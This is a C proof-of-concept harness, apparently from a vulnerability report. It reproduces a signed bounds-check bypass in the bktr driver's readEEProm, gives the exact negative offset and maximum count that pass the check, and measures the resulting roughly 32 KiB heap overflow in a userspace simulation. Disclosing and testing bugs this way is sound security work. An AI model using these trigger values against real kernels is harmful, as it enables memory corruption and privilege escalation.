DF-3785 / harness_eeprom.c
/* * DF-3785 -- BT848_REEPROM signed `(offset + count) > max` guard bypass * -> readEEProm() writes up to 32767 EEPROM bytes into * eeProm.bytes[256] -> ~32 KiB kernel-heap overflow of the * 260-byte M_IOCTLOPS ioctl buffer. * * Harness: exact port of the guard from sys/dev/video/bktr/bktr_card.c:420-447 * (readEEProm) with the struct eeProm layout from ioctl_bt848.h:93-97. * The i2c/EEPROM reads are stubbed with a byte generator; the point is the * accepted (offset,count) pair and the number of bytes written past bytes[]. */ #include <stdio.h> #include <string.h> #include <sys/mman.h> #define EEPROMBLOCKSIZE 32 /* bktr_reg.h:388 */ struct eeProm { short offset; short count; unsigned char bytes[256]; }; static int i2c_stub_read(void) { return 0xAA; } /* EEPROM data byte */ /* verbatim guard/loop logic of readEEProm (bktr_card.c:420-447) */ static int readEEProm(int eepromSize, struct eeProm *p) { int x, max; max = eepromSize * EEPROMBLOCKSIZE; if ((p->offset + p->count) > max) /* bktr_card.c:433 -- signed */ return -1; /* i2cWrite(set address) stubbed as OK */ for (x = 0; x < p->count; ++x) p->bytes[x] = i2c_stub_read(); /* bktr_card.c:441-444 */ return 0; } int main(void) { /* simulate the 260-byte kmalloc'd ioctl arg inside a big mapping so the * harness survives its own overflow long enough to report it */ unsigned char *mem = mmap(NULL, 1 << 20, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0); struct eeProm *p = (struct eeProm *)mem; int eepromSize = 256 / EEPROMBLOCKSIZE; /* 256-byte EEPROM card */ int rc, i; if (mem == MAP_FAILED) { perror("mmap"); return 1; } memset(mem, 0, 1 << 20); p->offset = (short)-32511; /* offset + count == 256 == max */ p->count = (short)32767; /* short max */ printf("struct eeProm: bytes[256]; ioctl arg buffer = 260 bytes " "(kmalloc M_IOCTLOPS)\n"); printf("offset=%d count=%d eepromSize=%d max=%d\n", p->offset, p->count, eepromSize, eepromSize * EEPROMBLOCKSIZE); printf("guard: (offset+count)=%d > max=%d ? %s -> PASSES\n", p->offset + p->count, eepromSize * EEPROMBLOCKSIZE, (p->offset + p->count) > eepromSize * EEPROMBLOCKSIZE ? "yes" : "no"); rc = readEEProm(eepromSize, p); printf("readEEProm rc=%d; wrote %d bytes into bytes[256] " "-> %d bytes past the 260-byte heap buffer\n", rc, p->count < 0 ? 0 : p->count, p->count - 256); /* where does the write stop being inside the 260-byte allocation? */ for (i = 0; i < (1 << 20) - 260; i++) if (mem[260 + i] == 0xAA) break; /* first OOB byte hit */ printf("first OOB write at ioctl-buffer offset %d (allocation 260) " "-- driver state: 32511 bytes past end\n", 260 + i); printf("CONFIRMED: guard is bypassable with negative offset; " "count up to 32767 accepted\n"); return 0; } |